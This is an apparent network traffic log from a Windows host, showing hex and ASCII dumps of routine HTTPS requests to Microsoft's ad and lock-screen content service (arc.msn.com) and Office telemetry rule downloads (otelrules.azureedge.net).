2024-11-23 20:59:14 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: BIqp23I6+q6ITirv1Zoc+36zG3AbNv871CW7b8q8cswk7AgD+YtZxkVYIoPqKtoAc/qRAbVy7oITkibF3TsV40pb5AvImHhe8JvKVzCOYC8xgtNEu27eUMaJzDSU/GeMxfZc8LKSopvukL6b3voHgHEGn01aeKpfF2zs81nWguCH19RLoIl90AuQbQOtxb/pHkfu/dMTgxkj6BNdPS2eg7+wPszHaGXjtG1xFnksJz4oXzTRwJqrh/L6usSLWyc5tEV24aHSesbTiFwDR4ok8qQadtXxhJ7VfWJSmeAJa/DXhVL2awWMKWkop3ufBF3bDS+v4R4h+FxgkgyM6YyP8Q== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 20:59:14 GMT Connection: close
2024-11-23 20:59:14 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49717	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:14 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205910Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1facd70da1f44701968b5bbbd52e4984&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-338388&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p= Cache-Control: no-cache MS-CV: /lue5tXAKkeTwIj4.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 20:59:15 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 4040 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: m1ZYjs+aEOvFhykr9DoD8vHkn9srfiKtz57xdZsF/F9tj/kCOQzrE6uERZR4sMU60pJvkUiN70ssnPTbG01TQ+98RNM3fHvxc2tCR4dtpkcoUA7aPPgU9Z9RRRyx1MluEIMXfJFB2dHIc4YnpIBiwOsI02jMN+4W4ipmL/3Gs1ZY1r6rhBHkkyydnxUHbRBDRNjhPat8l4DhDKHf/a/zXIGj4GTrs7FKjY58LquEAFEQd8NS65C8rwcno5yEyCOqxLKGpPpa0+/OC6VWI+pgyneH3G48SbYB7YaK7QE7yvDoTjkixfSjc8iIydZrNiFSYTzTBWAV89rd6sE/ZfyrIw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 20:59:14 GMT Connection: close
2024-11-23 20:59:15 UTC	4040	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49716	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:14 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T205910Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=90f55660cfe94147a2138ff7416db9da&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598481&metered=false&nettype=ethernet&npid=sc-338387&oemName=ejofer%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ejofer20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598481&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEJdx+m+rtyGY1rv4fslCkKSwAabWhBB0PKb3rcNHgu8xOHSESde0m0tmRiBcTGqTbA0UdkmFiomMR6JW6MagxLjZ9fIBAnWKC2SzlXYnEIrVDyt6nTGk2SwNtQtccXqrP/lzRvslQ8/tOzpaCfPnUpibvRc9E1L9XbGfrbHtVden3n3VZS/719ctrH7X5IzD68TtR0uuxH3hlGG0YfhPpILGwLHiiKvkyF2zjRxRA3V0Vixhx+Fq4ok/K8RRHAUpUDh0EV6CmJ/WsMf4V486eJriDFx+d5h8RO5/gxK1LNhKofUb58WJxMqwdcH8h0C4zAGvqKMY9im/GPZPg3Fb+uy5MpoZ+Dd9SE7WLyMdrFV1hvdpHnvAC31eokRLGS/38lvafeIuz7yqd7hv/c+Neoo1D/bTXMyYFgOYTJq7qOVv5llyUIUwUw0+LU1/o746emvkkuWntB1zV/4hHPsxbkLEDTwrTOSO3EwEu0O5gmCi2UXFnTXBpdoATl6JXR09oIP0j8PYvjujr6TDv3e/HPEjBmjxDzX9sbPhfaXzxlwQjDIxuY++Qu5svZPwiA1eFwlB5FpZXCryM0cgOp30EfYoc9cB&p= Cache-Control: no-cache MS-CV: /lue5tXAKkeTwIj4.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 20:59:15 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23156 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: jv8FkAdLbAzPdwESWaqTchlvgQN2KcRUVIhq6ynae4hW87vODsgLge7VQn7R7C2wzisFk7OTZrgh8fmg+GsDhS/Hm2EvjvatGqK8iNwt24qiXq0JojkRbwVbWPH3JlUvuiP4hQKy4O7zuacYSfqESy8EqkchM5i9clMIx7bEXs1j1dIszTMPSrRfw7dUcJwXofyWllGV02Q83uH/jjX9ZkLMb21fATttlPqN8s2Ug5VASQd9Grpg/U8IKSPtz+zAgm3VfL3IAZ3mItPlaH1tOl21Du06VPlP507naoBcBbwck5Z7kHH9HNUNzNND29frjcXqHFIfw6KvjQntXWxOJQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 20:59:14 GMT Connection: close
2024-11-23 20:59:15 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-23 20:59:15 UTC	7587	IN	Data Raw: 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 70 6f 72 74 72 61 69 74 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 73 68 6f 77 49 6d 61 67 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e Data Ascii: ibedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"image\"},\"portraitImage\":{\"type\":\"image\"},\"showImageOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205916Z-15b8b599d88g5tp8hC1TEByx6w00000003f000000000730n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:16 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:16 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205916Z-15b8b599d882zv28hC1TEBdchn00000003eg000000002bgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:16 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:16 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d279acb6-501e-0029-6110-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205916Z-178bfbc474bw8bwphC1NYC38b400000004y0000000000cpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:16 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:16 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205916Z-178bfbc474b9fdhphC1NYCac0n00000005000000000033p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:16 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:16 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205916Z-178bfbc474btrnf9hC1NYCb80g000000052g00000000ge05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
